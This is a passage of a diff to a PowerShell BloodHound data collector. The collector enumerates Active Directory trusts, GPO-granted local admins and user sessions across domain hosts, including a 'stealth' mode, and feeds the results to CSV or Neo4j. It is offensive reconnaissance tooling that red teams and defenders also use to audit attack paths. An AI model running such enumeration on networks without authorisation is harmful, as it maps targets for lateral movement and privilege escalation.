'treat_as_external' - # [uint32]'0x00000080' = 'trust_uses_rc4_encryption' - # [uint32]'0x00000100' = 'trust_uses_aes_keys' - # [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' - # [uint32]'0x00000400' = 'pim_trust' - if($Object.SourceDomain) { - $SourceDomain = $Object.SourceDomain + if($UseDomainTrusts -and $TargetDomains) { + Write-Verbose "Mapping domain trusts" + Invoke-MapDomainTrust | ForEach-Object { + if($_.SourceDomain) { + $SourceDomain = $_.SourceDomain } else { - $SourceDomain = $Object.SourceName + $SourceDomain = $_.SourceName } - if($Object.TargetDomain) { - $TargetDomain = $Object.TargetDomain + if($_.TargetDomain) { + $TargetDomain = $_.TargetDomain } else { - $TargetDomain = $Object.TargetName + $TargetDomain = $_.TargetName } - $Query = "MERGE (SourceDomain:Domain { name: UPPER('$SourceDomain') }) MERGE (TargetDomain:Domain { name: UPPER('$TargetDomain') })" - - if($Object.TrustType -match 'cross_organization') { - $TrustType = 'CrossLink' - } - elseif ($Object.TrustType -match 'within_forest') { - $TrustType = 'ParentChild' - } - elseif ($Object.TrustType -match 'forest_transitive') { - $TrustType = 'Forest' - } - elseif ($Object.TrustType -match 'treat_as_external') { - $TrustType = 'External' + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $TrustWriter.WriteLine("`"$SourceDomain`",`"$TargetDomain`",`"$($_.TrustDirection)`",`"$($_.TrustType)`",`"$True`"") } else { - Write-Verbose "Trust type unhandled/unknown: $($Object.TrustType)" - $TrustType = 'Unknown' - } + $Null = $Statements.Add( @{ "statement"="MERGE (SourceDomain:Domain { name: UPPER('$SourceDomain') }) MERGE (TargetDomain:Domain { name: UPPER('$TargetDomain') })" } ) - if ($Object.TrustType -match 'non_transitive') { - $Transitive = $False - } - else { + $TrustType = $_.TrustType $Transitive = $True - } - - Switch ($Object.TrustDirection) { - 'Inbound' { - $Query += " MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain)" - } - 'Outbound' { - $Query += " MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" - } - 'Bidirectional' { - $Query += " MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain) MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" - } - } - $Queries += $Query - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.DomainTrust') { - if($Object.SourceDomain) { - $SourceDomain = $Object.SourceDomain - } - else { - $SourceDomain = $Object.SourceName - } - if($Object.TargetDomain) { - $TargetDomain = $Object.TargetDomain - } - else { - $TargetDomain = $Object.TargetName - } - - $Query = "MERGE (SourceDomain:Domain { name: UPPER('$SourceDomain') }) MERGE (TargetDomain:Domain { name: UPPER('$TargetDomain') })" - $TrustType = $Object.TrustType - $Transitive = $True - - Switch ($Object.TrustDirection) { - 'Inbound' { - $Query += " MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" - } - 'Outbound' { - $Query += " MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain)" - } - 'Bidirectional' { - $Query += " MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain) MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" + Switch ($_.TrustDirection) { + 'Inbound' { + $Null = $Statements.Add( @{ "statement"="MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" } ) + } + 'Outbound' { + $Null = $Statements.Add( @{ "statement"="MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain)" } ) + } + 'Bidirectional' { + $Null = $Statements.Add( @{ "statement"="MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(SourceDomain) MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('$TrustType'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" } ) + } } - } - $Queries += $Query - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.ForestTrust') { - if($Object.SourceDomain) { - $SourceDomain = $Object.SourceDomain - } - else { - $SourceDomain = $Object.SourceName - } - if($Object.TargetDomain) { - $TargetDomain = $Object.TargetDomain - } - else { - $TargetDomain = $Object.TargetName - } - $Query = "MERGE (SourceDomain:Domain { name: UPPER('$SourceDomain') }) MERGE (TargetDomain:Domain { name: UPPER('$TargetDomain') })" - - $TrustType = 'Forest' - $Transitive = $True - - Switch ($Object.TrustDirection) { - 'Inbound' { - $Query += " MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('FOREST'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" - } - 'Outbound' { - $Query += " MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('FOREST'), Transitive: UPPER('$Transitive')}]->(SourceDomain)" - } - 'Bidirectional' { - $Query += " MERGE (TargetDomain)-[:TrustedBy{ TrustType: UPPER('FOREST'), Transitive: UPPER('$Transitive')}]->(SourceDomain) MERGE (SourceDomain)-[:TrustedBy{ TrustType: UPPER('FOREST'), Transitive: UPPER('$Transitive')}]->(TargetDomain)" - } } - $Queries += $Query - } - else { - Write-Verbose "No matching type name" - } - - ForEach($Query in $Queries) { - $Null = $Statements.Add( @{ "statement"=$Query } ) } - if ($Statements.Count -ge $Throttle) { + if ($PSCmdlet.ParameterSetName -eq 'RESTAPI') { $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } $JsonRequest = ConvertTo-Json20 $Json $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) $Statements.Clear() } + Write-Verbose "Done mapping domain trusts" } - else { - throw 'Not authorized' - } - } - end { - if($Authorized) { - $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } - $JsonRequest = ConvertTo-Json20 $Json - $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) - $Statements.Clear() - } - } -} - - -function Export-BloodHoundCSV { -<# - .SYNOPSIS - - Takes input from Get-BloodHound data and exports the objects to one custom CSV file - per object type (sessions, local admin, domain trusts, etc.). - - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: PowerView.ps1 - Optional Dependencies: None - - .DESCRIPTION - - This function takes custom tagged PowerView objects types from Get-BloodHoundData and exports - the data to one custom CSV file per object type (sessions, local admin, domain trusts, etc.). - For user session data without a logon domain, by default the global catalog is used to attempt to - deconflict what domain the user may be located in. If the user exists in more than one domain in - the forest, a series of weights is used to modify the attack path likelihood. - - .PARAMETER Object - - The PowerView PSObject to export to csv. - - .PARAMETER CSVFolder - The folder to output all CSVs to, defaults to the current working directory. + if($UseGPOGroup -and $TargetDomains) { + ForEach ($TargetDomain in $TargetDomains) { - .PARAMETER CSVPrefix + Write-Verbose "Enumerating GPO local group memberships for domain $TargetDomain" + Find-GPOLocation -Domain $TargetDomain -DomainController $DomainController | ForEach-Object { + $AccountName = "$($_.ObjectName)@$($_.ObjectDomain)" + ForEach($Computer in $_.ComputerName) { + if($_.IsGroup) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$Computer`",`"$AccountName`",`"group`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (group)-[:AdminTo]->(computer)" } ) + } + } + else { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$Computer`",`"$AccountName`",`"user`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (user)-[:AdminTo]->(computer)" } ) + } + } + } + } + Write-Verbose "Done enumerating GPO local group memberships for domain $TargetDomain" + } + Write-Verbose "Done enumerating GPO local group" + # TODO: cypher query to add 'domain admins' to every found machine + } - A prefix to append to each CSV file. + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() - .PARAMETER SkipGCDeconfliction + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2, $DomainSID2) + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { - Switch. Don't resolve user domain memberships for session information using a global catalog. + if($UseLocalGroup2) { + # grab the users for the local admins on this server + $Results = Get-NetLocalGroup -ComputerName $ComputerName -API -IsDomain -DomainSID $DomainSID2 + if($Results) { + $Results + } + else { + Get-NetLocalGroup -ComputerName $ComputerName -IsDomain -DomainSID $DomainSID2 + } + } - .PARAMETER GlobalCatalog + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - The global catalog location to resole user memberships from, form of GC://global.catalog. + if($UseSession2) { + ForEach ($Session in $(Get-NetSession -ComputerName $ComputerName)) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname - .EXAMPLE + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } - PS C:\> Get-BloodHoundData | Export-BloodHoundCSV + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + } + catch { + $CNameDNSName = $CName + } + @{ + 'UserDomain' = $Null + 'UserName' = $UserName + 'ComputerName' = $ComputerName + 'IPAddress' = $IPAddress + 'SessionFrom' = $CName + 'SessionFromName' = $CNameDNSName + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } - Executes default collection options and exports the data to user_sessions.csv, group_memberships.csv, - local_admins.csv, and trusts.csv in the current directory. + if($UseLoggedon2) { + ForEach ($User in $(Get-NetLoggedon -ComputerName $ComputerName)) { + $UserName = $User.wkui1_username + $UserDomain = $User.wkui1_logon_domain - .EXAMPLE + # ignore local account logons + if($ComputerName -notmatch "^$UserDomain") { + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + @{ + 'UserDomain' = $UserDomain + 'UserName' = $UserName + 'ComputerName' = $ComputerName + 'IPAddress' = $IPAddress + 'SessionFrom' = $Null + 'SessionFromName' = $Null + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } - PS C:\> Get-BloodHoundData | Export-BloodHoundCSV -SkipGCDeconfliction + ForEach ($User in $(Get-LoggedOnLocal -ComputerName $ComputerName)) { + $UserName = $User.UserName + $UserDomain = $User.UserDomain - Executes default collection options, skips the global catalog deconfliction, and exports the data - to user_sessions.csv, group_memberships.csv, local_admins.csv, and trusts.csv in the current directory. + # ignore local account logons ? + if($ComputerName -notmatch "^$UserDomain") { + @{ + 'UserDomain' = $UserDomain + 'UserName' = $UserName + 'ComputerName' = $ComputerName + 'IPAddress' = $IPAddress + 'SessionFrom' = $Null + 'SessionFromName' = $Null + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } + } + } - .EXAMPLE + if ($TargetDomains -and (-not $SkipComputerEnumeration)) { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - PS C:\> Get-BloodHoundData | Export-BloodHoundCSV -CSVFolder C:\Temp\ -CSVPrefix "domainX" + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 1 - Executes default collection options and exports the data to domainX_user_sessions.csv, domainX_group_memberships.csv, - domainX_local_admins.csv, and tdomainX_rusts.csv in C:\Temp\. + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') - .NOTES + # Add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach($Var in $MyVars) { + if($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } - CSV file types: + # Add Functions from current runspace to the InitialSessionState + ForEach($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } - PowerView.UserSession -> $($CSVExportPrefix)user_sessions.csv - UserName,ComputerName,Weight - "john@domain.local","computer2.domain.local",1 + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! - PowerView.GroupMember/PowerView.User -> $($CSVExportPrefix)group_memberships.csv - AccountName,AccountType,GroupName - "john@domain.local","user","GROUP1" - "computer3.testlab.local","computer","GROUP1" + # create a pool of maxThread runspaces + Write-Verbose "Creating a runspace with $Threads threads" + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.ThreadOptions = [System.Management.Automation.Runspaces.PSThreadOptions]::UseNewThread + $Pool.Open() - PowerView.LocalUserAPI/PowerView.GPOLocalGroup -> $($CSVExportPrefix)local_admins.csv - AccountName,AccountType,ComputerName - "john@domain.local","user","computer2.domain.local" + $Jobs = @() + $PS = @() + $Wait = @() + $Counter = 0 + $MovingWindow = 0 + } + } - PowerView.DomainTrustLDAP/PowerView.DomainTrust/PowerView.ForestTrust -> $($CSVExportPrefix)trusts.csv - SourceDomain,TargetDomain,TrustDirection,TrustType,Transitive - "domain.local","dev.domain.local","Bidirectional","ParentChild","True" -#> + PROCESS { + if ($TargetDomains -and (-not $SkipComputerEnumeration)) { - [CmdletBinding()] - param( - [Parameter(Position = 0, ValueFromPipeline = $True, Mandatory = $True)] - [PSObject] - $Object, + if($Statements) { + $Statements.Clear() + } - [Parameter()] - [ValidateScript({ Test-Path -Path $_ })] - [String] - $CSVFolder = $(Get-Location), + ForEach ($TargetDomain in $TargetDomains) { - [Parameter()] - [ValidateNotNullOrEmpty()] - [String] - $CSVPrefix, + $DomainSID = Get-DomainSid -Domain $TargetDomain - [Switch] - $SkipGCDeconfliction, + $ScriptParameters = @{ + 'Ping' = $True + 'CurrentUser2' = $CurrentUser + 'UseLocalGroup2' = $UseLocalGroup + 'UseSession2' = $UseSession + 'UseLoggedon2' = $UseLoggedon + 'DomainSID2' = $DomainSID + } - [ValidatePattern('^GC://')] - [String] - $GlobalCatalog - ) + if($CollectionMethod -eq 'Stealth') { + Write-Verbose "Executing stealth computer enumeration of domain $TargetDomain" - BEGIN { - try { - $OutputFolder = $CSVFolder | Resolve-Path -ErrorAction Stop | Select-Object -ExpandProperty Path - } - catch { - throw "Error: $_" - } + [Array]$TargetComputers = @() + Write-Verbose "Querying domain $TargetDomain for File Servers" + $TargetComputers += Get-NetFileServer -Domain $TargetDomain -DomainController $DomainController - if($CSVPrefix) { - $CSVExportPrefix = "$($CSVPrefix)_" - } - else { - $CSVExportPrefix = '' - } + Write-Verbose "Querying domain $TargetDomain for DFS Servers" + $TargetComputers += ForEach($DFSServer in $(Get-DFSshare -Domain $TargetDomain -DomainController $DomainController)) { + $DFSServer.RemoteServerName + } - $UserDomainMappings = @{} - if(-not $SkipGCDeconfliction) { - # if we're doing session enumeration, create a {user : @(domain,..)} from a global catalog - # in order to do user domain deconfliction for sessions + Write-Verbose "Querying domain $TargetDomain for Domain Controllers" + $TargetComputers += ForEach($DomainController in $(Get-NetDomainController -LDAP -DomainController $DomainController -Domain $TargetDomain)) { + $DomainController.dnshostname + } - if(-not $PSBoundParameters['GlobalCatalog']) { - $UserDomainMappings = Get-GlobalCatalogUserMapping - } - else { - $UserDomainMappings = Get-GlobalCatalogUserMapping -GlobalCatalog $GlobalCatalog - } - } - } + $TargetComputers = $TargetComputers | Where-Object {$_ -and ($_.Trim() -ne '')} | Sort-Object -Unique - PROCESS { + ForEach ($Computer in $TargetComputers) { + While ($($Pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -MilliSeconds 500 + } - if($Object.PSObject.TypeNames -contains 'PowerView.UserSession') { + # create a "powershell pipeline runner" + $PS += [PowerShell]::Create() + $PS[$Counter].RunspacePool = $Pool - if($Object.SessionFromName) { - try { - $UserName = $Object.UserName.ToUpper() - $SessionFromName = $Object.SessionFromName - $ComputerDomain = $Object.SessionFromName.SubString($Object.SessionFromName.IndexOf('.')+1).ToUpper() + # add the script block + arguments + $Null = $PS[$Counter].AddScript($HostEnumBlock).AddParameter('ComputerName', $Computer) + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + } - if($UserDomainMappings) { - $UserDomain = $Null - if($UserDomainMappings[$UserName]) { - if($UserDomainMappings[$UserName].Count -eq 1) { - $UserDomain = $UserDomainMappings[$UserName] - $LoggedOnUser = "$UserName@$UserDomain" - - $Properties = @{ - UserName = $LoggedOnUser - ComputerName = $SessionFromName - Weight = 1 - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" + # start job + $Jobs += $PS[$Counter].BeginInvoke() + $Counter += 1 + } + } + else { + Write-Verbose "Enumerating all machines in domain $TargetDomain" + $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $ComputerSearcher.filter = '(sAMAccountType=805306369)' + $Null = $ComputerSearcher.PropertiesToLoad.Add('dnshostname') + + ForEach($ComputerResult in $ComputerSearcher.FindAll()) { + $Slept = $False + if($Counter % 100 -eq 0) { + Write-Verbose "Computer counter: $Counter" + } + elseif($Counter % 1000 -eq 0) { + 1..3 | ForEach-Object { + $Null = [GC]::Collect() } - else { - $ComputerDomain = $Object.SessionFromName.SubString($Object.SessionFromName.IndexOf('.')+1).ToUpper() + } - $UserDomainMappings[$UserName] | ForEach-Object { - if($_ -eq $ComputerDomain) { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" + while ($($Pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -MilliSeconds 500 + $Slept = $True + } - $Properties = @{ - UserName = $LoggedOnUser - ComputerName = $SessionFromName - Weight = 1 - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" - } - else { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" + # if we slept, meaning all threads were occupised, consume results as they complete + # with a 'moving window' that moves 300 threads behind the current point + if($Slept -and (($Counter-$Threads-300) -gt 0) ) { + for ($y = $MovingWindow; $y -lt $($Counter-$Threads-300); $y++) { + if($Jobs[$y].IsCompleted) { + try { + # complete async job + $PS[$y].EndInvoke($Jobs[$y]) | ForEach-Object { + if($_['Type'] -eq 'UserSession') { + if($_['SessionFromName']) { + try { + $SessionFromName = $_['SessionFromName'] + $UserName = $_['UserName'].ToUpper() + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() + + if($UserDomainMappings) { + $UserDomain = $Null + if($UserDomainMappings[$UserName]) { + if($UserDomainMappings[$UserName].Count -eq 1) { + $UserDomain = $UserDomainMappings[$UserName] + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + else { + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() + + $UserDomainMappings[$UserName] | ForEach-Object { + # for multiple GC results, set a weight of 1 for the same domain as the target computer + if($_ -eq $ComputerDomain) { + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + # and set a weight of 2 for all other users in additional domains + else { + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) + } + } + } + } + } + else { + # no user object in the GC with this username, so set the domain to "UNKNOWN" + $LoggedOnUser = "$UserName@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) + } + } + } + else { + # if not using GC mappings, set the weight to 2 + $LoggedOnUser = "$UserName@$ComputerDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + } + catch { + Write-Warning "Error extracting domain from $SessionFromName" + } + } + elseif($_['SessionFrom']) { + $SessionFromName = $_['SessionFrom'] + $LoggedOnUser = "$($_['UserName'])@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + else { + # assume Get-NetLoggedOn result + $UserDomain = $_['UserDomain'] + $UserName = $_['UserName'] + try { + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } + + $SessionFromName = $_['ComputerName'] + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + catch { + Write-Verbose "Error converting $UserDomain\$UserName : $_" + } + } + } + elseif($_['Type'] -eq 'LocalUser') { + $Parts = $_['AccountName'].split('\') + $UserDomain = $Parts[0] + $UserName = $Parts[-1] + + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } + + $ComputerName = $_['ComputerName'] + if($_['IsGroup']) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") + } + else { + $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) + } + } + else { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) + } + } + } - $Properties = @{ - UserName = $LoggedOnUser - ComputerName = $SessionFromName - Weight = 2 + if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + } } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" + } + catch { + Write-Verbose "Error ending Invoke-BloodHound thread $y : $_" + } + finally { + $PS[$y].Dispose() + $PS[$y] = $Null + $Jobs[$y] = $Null } } } + $MovingWindow = $Counter-$Threads-200 } - else { - # no user object in the GC with this username - $LoggedOnUser = "$UserName@UNKNOWN" - - $Properties = @{ - UserName = $LoggedOnUser - ComputerName = $SessionFromName - Weight = 2 - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" - } - } - else { - $LoggedOnUser = "$UserName@$ComputerDomain" - $Properties = @{ - UserName = $LoggedOnUser - ComputerName = $SessionFromName - Weight = 2 - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" - } - } - catch { - Write-Warning "Error extracting domain from $($Object.SessionFromName)" - } - } - elseif($Object.SessionFrom) { - $Properties = @{ - UserName = "$($Object.UserName)@UNKNOWN" - ComputerName = $Object.SessionFrom - Weight = 2 - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" - } - else { - # assume Get-NetLoggedOn result - try { - $MemberSimpleName = "$($Object.UserDomain)\$($Object.UserName)" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$($Object.UserName)@$MemberDomain" - } - else { - $AccountName = "$($Object.UserName)@UNKNOWN" - } - - $Properties = @{ - UserName = $AccountName - ComputerName = $Object.ComputerName - Weight = 1 - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" - } - catch { - Write-Verbose "Error converting $($Object.UserDomain)\$($Object.UserName)" - } - } - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.GroupMember') { - $AccountName = "$($Object.MemberName)@$($Object.MemberDomain)" + # create a "powershell pipeline runner" + $PS += [PowerShell]::Create() + $PS[$Counter].RunspacePool = $Pool - if ($Object.MemberName -Match "\\") { - # if the membername itself contains a backslash, get the trailing section - # TODO: later preserve this once BloodHound can properly display these characters - $AccountName = $($Object.Membername).split('\')[1] + '@' + $($Object.MemberDomain) - } + # add the script block + arguments + $Null = $PS[$Counter].AddScript($HostEnumBlock).AddParameter('ComputerName', $($ComputerResult.Properties['dnshostname'])) - $GroupName = "$($Object.GroupName)@$($Object.GroupDomain)" + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + } - if($Object.IsGroup) { - $Properties = @{ - AccountName = $AccountName - AccountType = 'group' - GroupName = $GroupName - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)group_memberships.csv" - } - else { - # check if -FullData objects are returned, and if so check if the group member is a computer object - if($Object.ObjectClass -and ($Object.ObjectClass -contains 'computer')) { - $Properties = @{ - AccountName = $Object.dnshostname - AccountType = 'computer' - GroupName = $GroupName + # start job + $Jobs += $PS[$Counter].BeginInvoke() + $Counter += 1 } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile 